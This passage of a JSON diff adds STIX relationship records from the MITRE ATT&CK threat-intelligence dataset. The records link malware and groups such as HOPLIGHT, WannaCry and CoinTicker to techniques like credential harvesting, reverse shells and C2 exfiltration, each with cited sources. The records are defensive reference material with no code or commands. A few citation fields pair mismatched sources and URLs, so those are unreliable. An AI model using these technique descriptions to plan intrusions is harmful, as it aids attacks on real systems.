"2019-04-19T15:28:04.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2af8a4f4-fcac-4081-86f9-ba74140580dc", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.408Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can launch cmd.exe to execute commands on the system.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.725Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6cd1da58-6532-4800-816c-d1a74d586cdc", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.300Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified the firewall using [netsh](https://attack.mitre.org/software/S0108).\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d03e6e8b-bc2e-4c7b-8cde-58987659fbbb", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.333Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used svchost.exe to execute a malicious DLL .", + "type": "relationship", + "created": "2019-04-19T15:30:36.746Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8eed7d01-46dc-4b25-a42d-bd9afcb84963", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.353Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.760Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b55a3ac1-bb12-4507-a323-221b893df51b", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.354Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the capability to harvest credentials and passwords.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.771Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c7c4191-2d75-4ce8-b937-b9abb77d7b5b", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.352Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed loading several APIs associated with Pass the Hash.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.773Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4973496a-2a49-4428-b2db-0629a97df9d3", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.392Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used uncommon TCP \"high port\" to \"high port\" communication.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.791Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--baf88ff5-553b-490e-abbc-ea3853f3f633", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.389Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has connected outbound over TCP port 443.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.803Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--388bfdeb-5871-4f2a-9bbc-354de06251a4", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.439Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has utilized Zlib compression to obfuscate the communications payload.\t\n", + "type": "relationship", + "created": "2019-04-19T15:30:36.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74499e24-ecca-46bb-87fb-e8beb25f1c11", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.437Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the ability to connect to a remote host in order to upload and download files.\t", + "type": "relationship", + "created": "2019-04-19T15:30:36.819Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4349e95-eeff-4784-8a7d-2c6d60a734dd", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. 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(2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.498Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple C2 channels in place in case one fails.\t", + "type": "relationship", + "created": "2019-04-19T16:27:45.836Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1708aa35-a362-429f-be06-82dc106dfeb4", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.519Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used its C2 channel to exfiltrate data.\t", + "type": "relationship", + "created": "2019-04-19T16:27:45.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7101e112-c694-498f-be15-c0790f5d8547", + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "modified": "2019-04-22T19:41:53.520Z", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate remote domain controllers using options such as /dclist and /dsgetdc.", + "type": "relationship", + "created": "2019-04-19T16:28:49.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb9f7bf4-a118-457c-95f8-512d84cf7be2", + "external_references": [ + { + "source_name": "Nltest Manual", + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "url": "https://ss64.com/nt/nltest.html" + } + ], + "modified": "2019-04-22T19:06:17.471Z", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate the parent domain of a local machine using /parentdomain.", + "type": "relationship", + "created": "2019-04-19T16:39:52.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d969a8d8-189e-4315-81a4-c2244dfbd92c", + "external_references": [ + { + "source_name": "Nltest Manual", + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "url": "https://ss64.com/nt/nltest.html" + } + ], + "modified": "2019-04-22T19:06:17.484Z", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:16:48.177Z", + "type": "relationship", + "id": "relationship--73f87c11-addb-4900-9180-f2b98a425365", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-19T18:46:48.083Z", + "source_ref": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can compress data with ZLIB prior to sending it back to the C2 server.", + "type": "relationship", + "created": "2019-04-19T19:02:03.938Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35373a50-d85d-4ac5-94bc-5896b48ac5c6", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.489Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files.", + "type": "relationship", + "created": "2019-04-19T19:54:48.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ca496bf-41f9-4d0b-b36d-576f90db340e", + "external_references": [ + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + } + ], + "modified": "2019-04-22T11:43:33.561Z", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:41:59.067Z", + "type": "relationship", + "id": "relationship--baa9ac7d-b1fd-4e31-b08a-58c84b39153e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-22T13:54:51.514Z", + "source_ref": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names.", + "type": "relationship", + "created": "2019-04-22T15:06:12.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d617132e-68a7-489a-887f-1c40b147ea62", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2019-04-22T15:06:12.673Z", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.", + "type": "relationship", + "created": "2019-04-22T15:08:48.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5aebe97-98cc-46a5-b3f9-1a0497bc72ba", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.216Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has renamed rar.exe to avoid detection.", + "type": "relationship", + "created": "2019-04-22T16:30:47.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3b19f07-d8a9-4aca-a649-039024997a4f", + "external_references": [ + { + "source_name": "Twitter ItsReallyNick Platinum Masquerade", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update. Retrieved April 22, 2019.", + "url": "https://twitter.com/ItsReallyNick/status/1055321868641689600" + } + ], + "modified": "2019-05-10T12:14:32.225Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for C2.", + "type": "relationship", + "created": "2019-04-22T18:35:20.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac4e0574-879e-4155-84ed-5b2d8be0b603", + "external_references": [ + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.289Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can overwrite files indicated by the attacker before deleting them.", + "type": "relationship", + "created": "2019-04-22T22:40:41.125Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0c53ce3-a265-4da9-a553-c5f2faffa5b8", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). 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(2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T20:32:55.121Z", + "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) can install a rootkit to hide network connections from the host OS.", + "type": "relationship", + "created": "2019-04-23T16:24:46.251Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b14d96b-1664-4072-a49a-3a990a13ca83", + "external_references": [ + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T20:32:55.123Z", + "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has repacked a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to thwart anti-virus detection.", + "type": "relationship", + "created": "2019-04-23T18:08:46.205Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4bc2e50e-0753-497f-9ec0-af270abe2af1", + "external_references": [ + { + "source_name": "FireEye APT39 Jan 2019", + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "modified": "2019-04-29T18:16:38.712Z", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) initially downloads a hidden encoded file.", + "type": "relationship", + "created": "2019-04-23T18:41:37.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--342502b6-c8fc-4ed5-ba10-209a824b78ed", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:34.918Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) establishes outbound connections for command and control on ports 2280 and 1339.", + "type": "relationship", + "created": "2019-04-23T18:41:37.094Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72ede245-96fb-4e82-acbe-0a3966714d06", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:34.952Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.[random string]/[random string].", + "type": "relationship", + "created": "2019-04-23T18:41:37.108Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3078d200-79f5-41d1-a0db-afe1501d650a", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:34.971Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.", + "type": "relationship", + "created": "2019-04-23T18:41:37.112Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4eabef1-c66d-45b2-a7c7-6c4cefe4862b", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:34.970Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell and a Python script to download its second stage.", + "type": "relationship", + "created": "2019-04-23T18:41:37.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d20cbaf-a154-4192-9a97-ef2662d07246", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:34.972Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + 